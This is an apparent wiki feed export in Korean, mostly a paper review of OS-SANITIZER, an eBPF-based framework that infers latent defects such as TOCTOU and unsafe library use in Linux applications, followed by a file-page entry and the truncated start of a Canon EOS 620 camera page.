[[eBPF]]를 활용하여 커널 및 애플리케이션의 런타임 동작을 관찰하고, 해당 동작이 실제 failure로 이어지기 전에 잠재적인 defect가 될 수 있는지를 추론하는 Framework를 제안하였다. 즉, 기존 sanitizer가 주로 실제 fault나 failure가 발생한 이후 이를 탐지하는 데 초점을 맞추었다면, 본 논문은 정상적으로 실행되는 것처럼 보이는 런타임 동작에서도 향후 보안 취약점이나 correctness 문제로 이어질 수 있는 패턴을 탐지하고자 한다.&lt;br /&gt;
&lt;br /&gt;
== Motivation &amp;amp; Importance ==&lt;br /&gt;
기존의 static analyzer는 정적 분석 시점에 얻을 수 있는 정보를 바탕으로 버그를 찾는다. 이와 유사하게, 본 논문은 런타임에만 알 수 있는 정보들을 활용하여 defect를 추론하는 &#039;&#039;&#039;Dynamic Defect Inference&#039;&#039;&#039;가 가능하다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
특히 많은 결함은 코드 자체만으로는 명확히 드러나지 않고, 실제 실행 환경, 권한, 파일 시스템 상태, path traversal 과정, multi-threaded access, library usage pattern 등에 따라 문제가 된다. 따라서 런타임 context를 관찰할 수 있다면, 기존 static analysis나 sanitizer가 놓치는 잠재적 결함을 찾을 수 있다.&lt;br /&gt;
&lt;br /&gt;
본 논문은 eBPF가 이러한 Dynamic Defect Inference를 수행하기에 적합한 기반임을 보이고자 한다. eBPF는 커널 내부 및 user-space function entry/exit에 hook을 삽입할 수 있고, BPF map을 통해 여러 이벤트 사이의 context를 축적할 수 있기 때문이다. 이를 통해 eBPF가 단순한 tracing이나 monitoring 도구를 넘어, runtime information을 기반으로 defect를 추론하는 testing/inference framework로 사용될 수 있음을 보인다.&lt;br /&gt;
&lt;br /&gt;
== Challenge ==&lt;br /&gt;
* &#039;&#039;&#039;Benign execution에서 defect를 추론해야 한다.&#039;&#039;&#039;&lt;br /&gt;
** 실제 crash나 fault가 발생한 것이 아니므로, 관찰되는 동작이 진짜 defect인지 단순한 code smell인지 구분하기 어렵다.&lt;br /&gt;
** 따라서 heuristic 기반의 판단이 필요하며, false positive를 완전히 제거하기 어렵다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Runtime context를 정확히 수집해야 한다.&#039;&#039;&#039;&lt;br /&gt;
** 일부 defect는 단일 system call이나 library call만으로 판단할 수 없다.&lt;br /&gt;
** 예를 들어 TOCTOU나 path traversal 문제는 access, open, path resolution, permission check 등 여러 이벤트를 종합해야 한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System-wide monitoring의 overhead를 낮춰야 한다.&#039;&#039;&#039;&lt;br /&gt;
** OS-SANITIZER는 특정 프로그램 하나만 분석하는 것이 아니라, 시스템 전체에서 발생하는 이벤트를 장기간 관찰하는 것을 목표로 한다.&lt;br /&gt;
** 따라서 tracing overhead와 report volume을 낮게 유지해야 한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;eBPF의 제한 안에서 inference logic을 구현해야 한다.&#039;&#039;&#039;&lt;br /&gt;
** eBPF verifier는 bounded execution과 제한된 memory access를 요구한다.&lt;br /&gt;
** 복잡한 analysis logic이나 hot user-space function monitoring은 높은 overhead 또는 verifier 제약으로 인해 실용적이지 않을 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Background ==&lt;br /&gt;
; 소프트웨어 테스팅의 단계&lt;br /&gt;
* Software testing은 다음 5단계로 나눌 수 있다: Errors, Code smells, Defects, Faults, and Failures.&lt;br /&gt;
* Error: Developer나 User에 의한 실수&lt;br /&gt;
* Code smell: 당장 failure를 만들지는 않지만, 향후 defect로 이어질 수 있는 위험한 패턴&lt;br /&gt;
* Defect: Program에 잘못된 영향을 끼칠 수 있는 에러&lt;br /&gt;
* Fault: Defect가 실제 program state에 잘못된 영향을 끼친 경우&lt;br /&gt;
* Failure: Fault가 외부에서 관찰 가능한 잘못된 동작이나 safety guarantee 위반으로 드러난 경우&lt;br /&gt;
&lt;br /&gt;
; Dynamic Defect Inference에 대한 Related Work&lt;br /&gt;
: &#039;&#039;&#039;Program-Level Inference&#039;&#039;&#039;: Compiler의 도움을 받아 dynamic testing을 수행하는 방식이다. 대표적으로 AddressSanitizer, MemorySanitizer 등이 있다. 이러한 방식은 강력하지만 recompilation이 필요하고, 종종 performance overhead가 커서 production 환경보다는 testing 환경에서 주로 사용된다는 한계가 있다.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;Interprocedural Inference&#039;&#039;&#039;: Runtime에서 procedure 간 information flow를 추적하여 버그를 탐지하는 방식이다. Library call이나 network protocol의 사용 순서를 관찰하여 protocol violation을 찾는 방식으로 이해할 수 있다.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;OS-Integrated Inference&#039;&#039;&#039;: SELinux와 같이 OS의 기능을 활용하여 이상 동작을 감지하거나 policy violation을 탐지하는 방식이다. 다만 이러한 방식은 일반적으로 security policy enforcement에 가깝고, 다양한 defect class를 추론하는 데에는 제한적일 수 있다.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;Runtime Predictive Analysis&#039;&#039;&#039;: Runtime에서 얻을 수 있는 정보를 바탕으로 향후 발생할 수 있는 오류를 예측하거나 탐지하는 방식이다. 대표적으로 ThreadSanitizer와 같은 race detection 기법이 있다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
eBPF를 통해 kernel 및 user-space program의 런타임 동작을 수집하고, BPF map에 context를 축적한 뒤, heuristic 기반의 검증기를 통해 해당 동작이 잠재적 defect인지 판단한다.&lt;br /&gt;
&lt;br /&gt;
핵심 아이디어는 static analysis의 code smell 개념을 runtime으로 가져오는 것이다. 즉, 실제 failure가 발생하지 않았더라도, 런타임에서 관찰된 실행 패턴이 특정 조건에서는 취약점이나 correctness 문제로 이어질 수 있다면 이를 report한다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
[[index.php?title=파일:USENIX_Security_2026_OS-SANITIZER_Figure_2.png|링크=파일:USENIX_Security_2026_OS-SANITIZER_Figure_2.png|오른쪽|프레임없음]]&lt;br /&gt;
&lt;br /&gt;
OS-SANITIZER는 eBPF program을 kernel function 또는 user-space function의 entry/exit point에 부착하여 runtime event를 수집한다. 각 eBPF program은 관찰한 정보를 BPF map에 저장하고, 이후 관련 operation이 끝났을 때 map에 축적된 context를 바탕으로 heuristic 검사를 수행한다.&lt;br /&gt;
&lt;br /&gt;
각 eBPF pass는 대체로 다음 네 가지 역할을 가진다.&lt;br /&gt;
&lt;br /&gt;
* Suspicious code region report&lt;br /&gt;
* Context enrichment&lt;br /&gt;
* Stale context cleanup&lt;br /&gt;
* Known false positive filtering&lt;br /&gt;
&lt;br /&gt;
이를 통해 논문은 다음과 같은 pass들을 구현하였다.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Fault-Prone System Interactions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* access: access/stat 이후 open 사용으로 인한 TOCTOU 가능성 탐지&lt;br /&gt;
* fixed_mmap: overlapping fixed mmap 탐지&lt;br /&gt;
* rwx_mem: readable/writable/executable memory allocation 탐지&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Fault-Prone Library Usage&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* filep_unlocked: multi-thread 환경에서 unsynchronized FILE* access 탐지&lt;br /&gt;
* gets: unsafe gets usage 탐지&lt;br /&gt;
* snprintf: snprintf 관련 information leak 또는 footgun 탐지&lt;br /&gt;
* printf_mut: mutable string을 format string으로 사용하는 경우 탐지&lt;br /&gt;
* system_mut: mutable command string을 system()으로 실행하는 경우 탐지&lt;br /&gt;
* system_abs: absolute path 없이 system command를 실행하는 경우 탐지&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Environmental Defects&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* sec_file_open: unsafe file permission 또는 unsafe open pattern 탐지&lt;br /&gt;
* intercept_path: attacker가 path traversal을 가로챌 수 있는 상황 탐지&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Unsafe Memory-Manipulating Function Usage&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* memcpy&lt;br /&gt;
* strcpy&lt;br /&gt;
* strncpy&lt;br /&gt;
* sprintf&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
논문은 microbenchmark, SPEC CPU 2017, BrowserBench Speedometer, reproduction study, long-term desktop deployment를 통해 OS-SANITIZER를 평가하였다.&lt;br /&gt;
&lt;br /&gt;
중요한 결과는 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* System interaction 중심의 pass들은 대체로 낮은 overhead로 동작한다.&lt;br /&gt;
* 반면 memcpy, strcpy, strncpy, sprintf와 같은 hot user-space function을 uprobe로 추적하는 pass들은 overhead가 커서 practical deployment에는 부적합하다.&lt;br /&gt;
* 기존 CUU(check-use-use) TOCTOU detection model을 OS-SANITIZER pass로 재구현하여, eBPF 기반 framework가 기존 kernel modification 기반 testing logic을 더 쉽게 표현할 수 있음을 보였다.&lt;br /&gt;
* 장기 사용 실험에서 Golang, Docker, Kubernetes, runc, dotconf, Firefox, Chrome, Rust, GDB, NetworkManager 등 실제 software stack에서 여러 latent defect를 발견하였다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
* &#039;&#039;&#039;Dynamic Defect Inference라는 문제 설정을 제시하였다.&#039;&#039;&#039;&lt;br /&gt;
** 기존 dynamic testing이 실제 fault나 failure를 찾는 데 집중했다면, 본 논문은 benign execution에서 defect 가능성을 추론하는 방향을 제시하였다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;eBPF를 testing/inference tool로 활용하였다.&#039;&#039;&#039;&lt;br /&gt;
** eBPF를 단순 tracing이나 security monitoring이 아니라, runtime context를 축적하고 defect-level report를 생성하는 framework로 사용하였다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System-wide runtime context를 활용하였다.&#039;&#039;&#039;&lt;br /&gt;
** user-space function, kernel function, LSM hook 등을 조합하여 단일 프로그램 내부에서는 알기 어려운 실행 환경 정보를 활용하였다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;실제 software에서 latent defect를 발견하였다.&#039;&#039;&#039;&lt;br /&gt;
** 여러 mature software stack에서 실제 issue를 찾았다는 점이 논문의 실용성을 뒷받침한다.&lt;br /&gt;
&lt;br /&gt;
== Criticize ==&lt;br /&gt;
* &#039;&#039;&#039;Heuristic 의존성이 크다.&#039;&#039;&#039;&lt;br /&gt;
** OS-SANITIZER는 실제 failure를 직접 관찰하는 것이 아니라 위험한 pattern을 추론한다.&lt;br /&gt;
** 따라서 false positive를 완전히 피하기 어렵고, 어떤 report가 진짜 defect인지 triage cost가 발생한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;False positive와 coverage를 정량화하기 어렵다.&#039;&#039;&#039;&lt;br /&gt;
** Code smell 또는 contextual defect는 true positive와 false positive의 경계가 명확하지 않다.&lt;br /&gt;
** 논문에서도 false positive rate를 엄밀하게 계산하기보다는 case study 중심으로 효과를 보인다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pass 개발의 일반성이 충분히 검증되지는 않았다.&#039;&#039;&#039;&lt;br /&gt;
** 논문은 여러 pass를 구현했지만, 새로운 domain이나 새로운 defect class에 대해 pass를 얼마나 쉽게 만들 수 있는지는 더 많은 사례가 필요하다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hot function monitoring에는 eBPF overhead가 크다.&#039;&#039;&#039;&lt;br /&gt;
** memcpy, strcpy와 같은 high-frequency function을 uprobe로 추적하면 overhead가 커진다.&lt;br /&gt;
** 따라서 OS-SANITIZER가 모든 bug class에 적합한 것은 아니다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Long-term deployment 평가가 제한적이다.&#039;&#039;&#039;&lt;br /&gt;
** 실제 desktop 환경에서 유용한 defect를 찾았다는 점은 강하지만, 다양한 production workload에서 report volume이나 triage cost가 어떻게 되는지는 더 평가가 필요하다.&lt;br /&gt;
&lt;br /&gt;
== [[Conclusion]] ==&lt;br /&gt;
본 논문의 핵심 의의는 &#039;&#039;&#039;Dynamic Defect Inference&#039;&#039;&#039;라는 문제를 명확히 제시하고, eBPF를 runtime testing/inference framework로 사용할 수 있음을 보였다는 점이다. 기존 sanitizer나 fuzzer가 실제 fault/failure를 trigger하는 데 집중했다면, OS-SANITIZER는 정상적으로 실행되는 것처럼 보이는 runtime behavior에서도 잠재적 defect를 추론한다.&lt;br /&gt;
&lt;br /&gt;
다만 heuristic에 의존하기 때문에 false positive, coverage, triage cost를 정밀하게 평가하기 어렵다는 한계가 있다. 또한 모든 defect class에 적합한 것은 아니며, 특히 hot user-space function을 추적하는 경우 eBPF overhead가 커질 수 있다. 그럼에도 불구하고, eBPF를 활용해 system-wide runtime context를 수집하고 실제 software에서 latent defect를 발견했다는 점에서 의미 있는 contribution을 가진 논문으로 볼 수 있다.&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=OS-SANITIZER:_System-wide_Latent_Defect_Inference_in_Linux_Applications&amp;diff=7109</id>
		<title>OS-SANITIZER: System-wide Latent Defect Inference in Linux Applications</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=OS-SANITIZER:_System-wide_Latent_Defect_Inference_in_Linux_Applications&amp;diff=7109"/>
		<updated>2026-04-27T11:47:09Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: 새 문서: 분류: USENIX Security  == 개요 == eBPF를 활용하여 커널 및 애플리케이션의 런타임 동작을 관찰하고, 해당 동작이 실제 failure로 이어지기 전에 잠재적인 defect가 될 수 있는지를 추론하는 Framework를 제안하였다. 즉, 기존 sanitizer가 주로 실제 fault나 failure가 발생한 이후 이를 탐지하는 데 초점을 맞추었다면, 본 논문은 정상적으로 실행되는 것처럼 보이는 런타임 동작...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류: USENIX Security]]&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
[[eBPF]]를 활용하여 커널 및 애플리케이션의 런타임 동작을 관찰하고, 해당 동작이 실제 failure로 이어지기 전에 잠재적인 defect가 될 수 있는지를 추론하는 Framework를 제안하였다. 즉, 기존 sanitizer가 주로 실제 fault나 failure가 발생한 이후 이를 탐지하는 데 초점을 맞추었다면, 본 논문은 정상적으로 실행되는 것처럼 보이는 런타임 동작에서도 향후 보안 취약점이나 correctness 문제로 이어질 수 있는 패턴을 탐지하고자 한다.&lt;br /&gt;
&lt;br /&gt;
== Motivation &amp;amp; Importance ==&lt;br /&gt;
기존의 static analyzer는 정적 분석 시점에 얻을 수 있는 정보를 바탕으로 버그를 찾는다. 이와 유사하게, 본 논문은 런타임에만 알 수 있는 정보들을 활용하여 defect를 추론하는 &#039;&#039;&#039;Dynamic Defect Inference&#039;&#039;&#039;가 가능하다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
특히 많은 결함은 코드 자체만으로는 명확히 드러나지 않고, 실제 실행 환경, 권한, 파일 시스템 상태, path traversal 과정, multi-threaded access, library usage pattern 등에 따라 문제가 된다. 따라서 런타임 context를 관찰할 수 있다면, 기존 static analysis나 sanitizer가 놓치는 잠재적 결함을 찾을 수 있다.&lt;br /&gt;
&lt;br /&gt;
본 논문은 eBPF가 이러한 Dynamic Defect Inference를 수행하기에 적합한 기반임을 보이고자 한다. eBPF는 커널 내부 및 user-space function entry/exit에 hook을 삽입할 수 있고, BPF map을 통해 여러 이벤트 사이의 context를 축적할 수 있기 때문이다. 이를 통해 eBPF가 단순한 tracing이나 monitoring 도구를 넘어, runtime information을 기반으로 defect를 추론하는 testing/inference framework로 사용될 수 있음을 보인다.&lt;br /&gt;
&lt;br /&gt;
== Challenge ==&lt;br /&gt;
* &#039;&#039;&#039;Benign execution에서 defect를 추론해야 한다.&#039;&#039;&#039;&lt;br /&gt;
** 실제 crash나 fault가 발생한 것이 아니므로, 관찰되는 동작이 진짜 defect인지 단순한 code smell인지 구분하기 어렵다.&lt;br /&gt;
** 따라서 heuristic 기반의 판단이 필요하며, false positive를 완전히 제거하기 어렵다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Runtime context를 정확히 수집해야 한다.&#039;&#039;&#039;&lt;br /&gt;
** 일부 defect는 단일 system call이나 library call만으로 판단할 수 없다.&lt;br /&gt;
** 예를 들어 TOCTOU나 path traversal 문제는 access, open, path resolution, permission check 등 여러 이벤트를 종합해야 한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System-wide monitoring의 overhead를 낮춰야 한다.&#039;&#039;&#039;&lt;br /&gt;
** OS-SANITIZER는 특정 프로그램 하나만 분석하는 것이 아니라, 시스템 전체에서 발생하는 이벤트를 장기간 관찰하는 것을 목표로 한다.&lt;br /&gt;
** 따라서 tracing overhead와 report volume을 낮게 유지해야 한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;eBPF의 제한 안에서 inference logic을 구현해야 한다.&#039;&#039;&#039;&lt;br /&gt;
** eBPF verifier는 bounded execution과 제한된 memory access를 요구한다.&lt;br /&gt;
** 복잡한 analysis logic이나 hot user-space function monitoring은 높은 overhead 또는 verifier 제약으로 인해 실용적이지 않을 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Background ==&lt;br /&gt;
; 소프트웨어 테스팅의 단계&lt;br /&gt;
* Software testing은 다음 5단계로 나눌 수 있다: Errors, Code smells, Defects, Faults, and Failures.&lt;br /&gt;
* Error: Developer나 User에 의한 실수&lt;br /&gt;
* Code smell: 당장 failure를 만들지는 않지만, 향후 defect로 이어질 수 있는 위험한 패턴&lt;br /&gt;
* Defect: Program에 잘못된 영향을 끼칠 수 있는 에러&lt;br /&gt;
* Fault: Defect가 실제 program state에 잘못된 영향을 끼친 경우&lt;br /&gt;
* Failure: Fault가 외부에서 관찰 가능한 잘못된 동작이나 safety guarantee 위반으로 드러난 경우&lt;br /&gt;
&lt;br /&gt;
; Dynamic Defect Inference에 대한 Related Work&lt;br /&gt;
: &#039;&#039;&#039;Program-Level Inference&#039;&#039;&#039;: Compiler의 도움을 받아 dynamic testing을 수행하는 방식이다. 대표적으로 AddressSanitizer, MemorySanitizer 등이 있다. 이러한 방식은 강력하지만 recompilation이 필요하고, 종종 performance overhead가 커서 production 환경보다는 testing 환경에서 주로 사용된다는 한계가 있다.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;Interprocedural Inference&#039;&#039;&#039;: Runtime에서 procedure 간 information flow를 추적하여 버그를 탐지하는 방식이다. Library call이나 network protocol의 사용 순서를 관찰하여 protocol violation을 찾는 방식으로 이해할 수 있다.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;OS-Integrated Inference&#039;&#039;&#039;: SELinux와 같이 OS의 기능을 활용하여 이상 동작을 감지하거나 policy violation을 탐지하는 방식이다. 다만 이러한 방식은 일반적으로 security policy enforcement에 가깝고, 다양한 defect class를 추론하는 데에는 제한적일 수 있다.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;Runtime Predictive Analysis&#039;&#039;&#039;: Runtime에서 얻을 수 있는 정보를 바탕으로 향후 발생할 수 있는 오류를 예측하거나 탐지하는 방식이다. 대표적으로 ThreadSanitizer와 같은 race detection 기법이 있다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
eBPF를 통해 kernel 및 user-space program의 런타임 동작을 수집하고, BPF map에 context를 축적한 뒤, heuristic 기반의 검증기를 통해 해당 동작이 잠재적 defect인지 판단한다.&lt;br /&gt;
&lt;br /&gt;
핵심 아이디어는 static analysis의 code smell 개념을 runtime으로 가져오는 것이다. 즉, 실제 failure가 발생하지 않았더라도, 런타임에서 관찰된 실행 패턴이 특정 조건에서는 취약점이나 correctness 문제로 이어질 수 있다면 이를 report한다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
[[파일:USENIX Security 2026 OS-SANITIZER Figure 2.png|프레임없음]]&lt;br /&gt;
&lt;br /&gt;
OS-SANITIZER는 eBPF program을 kernel function 또는 user-space function의 entry/exit point에 부착하여 runtime event를 수집한다. 각 eBPF program은 관찰한 정보를 BPF map에 저장하고, 이후 관련 operation이 끝났을 때 map에 축적된 context를 바탕으로 heuristic 검사를 수행한다.&lt;br /&gt;
&lt;br /&gt;
각 eBPF pass는 대체로 다음 네 가지 역할을 가진다.&lt;br /&gt;
&lt;br /&gt;
* Suspicious code region report&lt;br /&gt;
* Context enrichment&lt;br /&gt;
* Stale context cleanup&lt;br /&gt;
* Known false positive filtering&lt;br /&gt;
&lt;br /&gt;
이를 통해 논문은 다음과 같은 pass들을 구현하였다.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Fault-Prone System Interactions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* access: access/stat 이후 open 사용으로 인한 TOCTOU 가능성 탐지&lt;br /&gt;
* fixed_mmap: overlapping fixed mmap 탐지&lt;br /&gt;
* rwx_mem: readable/writable/executable memory allocation 탐지&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Fault-Prone Library Usage&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* filep_unlocked: multi-thread 환경에서 unsynchronized FILE* access 탐지&lt;br /&gt;
* gets: unsafe gets usage 탐지&lt;br /&gt;
* snprintf: snprintf 관련 information leak 또는 footgun 탐지&lt;br /&gt;
* printf_mut: mutable string을 format string으로 사용하는 경우 탐지&lt;br /&gt;
* system_mut: mutable command string을 system()으로 실행하는 경우 탐지&lt;br /&gt;
* system_abs: absolute path 없이 system command를 실행하는 경우 탐지&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Environmental Defects&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* sec_file_open: unsafe file permission 또는 unsafe open pattern 탐지&lt;br /&gt;
* intercept_path: attacker가 path traversal을 가로챌 수 있는 상황 탐지&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Unsafe Memory-Manipulating Function Usage&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* memcpy&lt;br /&gt;
* strcpy&lt;br /&gt;
* strncpy&lt;br /&gt;
* sprintf&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
논문은 microbenchmark, SPEC CPU 2017, BrowserBench Speedometer, reproduction study, long-term desktop deployment를 통해 OS-SANITIZER를 평가하였다.&lt;br /&gt;
&lt;br /&gt;
중요한 결과는 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* System interaction 중심의 pass들은 대체로 낮은 overhead로 동작한다.&lt;br /&gt;
* 반면 memcpy, strcpy, strncpy, sprintf와 같은 hot user-space function을 uprobe로 추적하는 pass들은 overhead가 커서 practical deployment에는 부적합하다.&lt;br /&gt;
* 기존 CUU(check-use-use) TOCTOU detection model을 OS-SANITIZER pass로 재구현하여, eBPF 기반 framework가 기존 kernel modification 기반 testing logic을 더 쉽게 표현할 수 있음을 보였다.&lt;br /&gt;
* 장기 사용 실험에서 Golang, Docker, Kubernetes, runc, dotconf, Firefox, Chrome, Rust, GDB, NetworkManager 등 실제 software stack에서 여러 latent defect를 발견하였다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
* &#039;&#039;&#039;Dynamic Defect Inference라는 문제 설정을 제시하였다.&#039;&#039;&#039;&lt;br /&gt;
** 기존 dynamic testing이 실제 fault나 failure를 찾는 데 집중했다면, 본 논문은 benign execution에서 defect 가능성을 추론하는 방향을 제시하였다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;eBPF를 testing/inference tool로 활용하였다.&#039;&#039;&#039;&lt;br /&gt;
** eBPF를 단순 tracing이나 security monitoring이 아니라, runtime context를 축적하고 defect-level report를 생성하는 framework로 사용하였다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System-wide runtime context를 활용하였다.&#039;&#039;&#039;&lt;br /&gt;
** user-space function, kernel function, LSM hook 등을 조합하여 단일 프로그램 내부에서는 알기 어려운 실행 환경 정보를 활용하였다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;실제 software에서 latent defect를 발견하였다.&#039;&#039;&#039;&lt;br /&gt;
** 여러 mature software stack에서 실제 issue를 찾았다는 점이 논문의 실용성을 뒷받침한다.&lt;br /&gt;
&lt;br /&gt;
== Criticize ==&lt;br /&gt;
* &#039;&#039;&#039;Heuristic 의존성이 크다.&#039;&#039;&#039;&lt;br /&gt;
** OS-SANITIZER는 실제 failure를 직접 관찰하는 것이 아니라 위험한 pattern을 추론한다.&lt;br /&gt;
** 따라서 false positive를 완전히 피하기 어렵고, 어떤 report가 진짜 defect인지 triage cost가 발생한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;False positive와 coverage를 정량화하기 어렵다.&#039;&#039;&#039;&lt;br /&gt;
** Code smell 또는 contextual defect는 true positive와 false positive의 경계가 명확하지 않다.&lt;br /&gt;
** 논문에서도 false positive rate를 엄밀하게 계산하기보다는 case study 중심으로 효과를 보인다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pass 개발의 일반성이 충분히 검증되지는 않았다.&#039;&#039;&#039;&lt;br /&gt;
** 논문은 여러 pass를 구현했지만, 새로운 domain이나 새로운 defect class에 대해 pass를 얼마나 쉽게 만들 수 있는지는 더 많은 사례가 필요하다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hot function monitoring에는 eBPF overhead가 크다.&#039;&#039;&#039;&lt;br /&gt;
** memcpy, strcpy와 같은 high-frequency function을 uprobe로 추적하면 overhead가 커진다.&lt;br /&gt;
** 따라서 OS-SANITIZER가 모든 bug class에 적합한 것은 아니다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Long-term deployment 평가가 제한적이다.&#039;&#039;&#039;&lt;br /&gt;
** 실제 desktop 환경에서 유용한 defect를 찾았다는 점은 강하지만, 다양한 production workload에서 report volume이나 triage cost가 어떻게 되는지는 더 평가가 필요하다.&lt;br /&gt;
&lt;br /&gt;
== [[Conclusion]] ==&lt;br /&gt;
본 논문의 핵심 의의는 &#039;&#039;&#039;Dynamic Defect Inference&#039;&#039;&#039;라는 문제를 명확히 제시하고, eBPF를 runtime testing/inference framework로 사용할 수 있음을 보였다는 점이다. 기존 sanitizer나 fuzzer가 실제 fault/failure를 trigger하는 데 집중했다면, OS-SANITIZER는 정상적으로 실행되는 것처럼 보이는 runtime behavior에서도 잠재적 defect를 추론한다.&lt;br /&gt;
&lt;br /&gt;
다만 heuristic에 의존하기 때문에 false positive, coverage, triage cost를 정밀하게 평가하기 어렵다는 한계가 있다. 또한 모든 defect class에 적합한 것은 아니며, 특히 hot user-space function을 추적하는 경우 eBPF overhead가 커질 수 있다. 그럼에도 불구하고, eBPF를 활용해 system-wide runtime context를 수집하고 실제 software에서 latent defect를 발견했다는 점에서 의미 있는 contribution을 가진 논문으로 볼 수 있다.&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=%ED%8C%8C%EC%9D%BC:USENIX_Security_2026_OS-SANITIZER_Figure_2.png&amp;diff=7108</id>
		<title>파일:USENIX Security 2026 OS-SANITIZER Figure 2.png</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=%ED%8C%8C%EC%9D%BC:USENIX_Security_2026_OS-SANITIZER_Figure_2.png&amp;diff=7108"/>
		<updated>2026-04-27T11:36:57Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;USENIX Security 2026 OS-SANITIZER Figure 2&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=%EC%BA%90%EB%85%BC_EOS_620&amp;diff=7107</id>
		<title>캐논 EOS 620</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=%EC%BA%90%EB%85%BC_EOS_620&amp;diff=7107"/>
		<updated>2026-04-27T06:09:35Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류:필름 카메라]]&lt;br /&gt;
&lt;br /&gt;
{{camera&lt;br /&gt;
| name = Canon EOS 620&lt;br /&gt;
| image = Canon_EOS_620.jpg&lt;br /&gt;
| manufacturer = Canon&lt;br /&gt;
| released = 1987&lt;br /&gt;
| lens_mount = Canon EF mount&lt;br /&gt;
| sensor = N/A (Film Camera)&lt;br /&gt;
| film_format = 35mm&lt;br /&gt;
| shutter = Focal-plane shutter, electronic&lt;br /&gt;
| metering = 6-zone evaluative metering / partial metering&lt;br /&gt;
| focus = TTL phase-detection autofocus&lt;br /&gt;
| exposure = Program AE, Aperture-priority AE, Shutter-priority AE, Manual, Depth-of-field AE&lt;br /&gt;
| viewfinder = Optical, fixed eye-level pentaprism&lt;br /&gt;
| battery = 2CR5&lt;br /&gt;
| dimensions = 148 × 108 × 68 mm&lt;br /&gt;
| weight = 660g&lt;br /&gt;
| gallery = Canon EOS 620&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
